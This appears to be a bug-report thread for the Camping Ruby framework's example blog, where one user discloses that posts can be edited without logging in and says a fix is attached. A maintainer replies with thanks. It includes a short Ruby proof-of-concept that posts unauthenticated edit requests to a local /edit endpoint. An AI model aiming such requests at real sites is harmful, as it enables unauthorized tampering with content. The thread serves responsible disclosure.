[PATCH] Security Hole in examples/blog

[novaa]

examples/blog contains a bug where you can edit posts without beeing logged in. I attached a patch that closes this hole.

The patch also adds this check to add also if it is not possible to add unauthorized posts there because of a AR check. Also this fixes something that is not critical but can produce bugs: the 'view' view refers to post.id but IMO it should refer to @post.id.

Here is how to 'exploit' it:

require 'net/http'
require 'uri'

# assume you run the blog like this: camping examples/blog.rb
$blog_url   = 'http://localhost:3301/edit'
$post_id    = '1'
$post_title = 'BOOM!!!11'
$post_body  = '...'

puts Net::HTTP.post_form(
  URI.parse( $blog_url ),
  {'post_id' => $post_id,
   'post_title' => $post_title,
   'post_body' => $post_body}
).body

[novaa]

the bugfix itself

[why]

Thanks, you took Camping seriously and, in effect, made [153].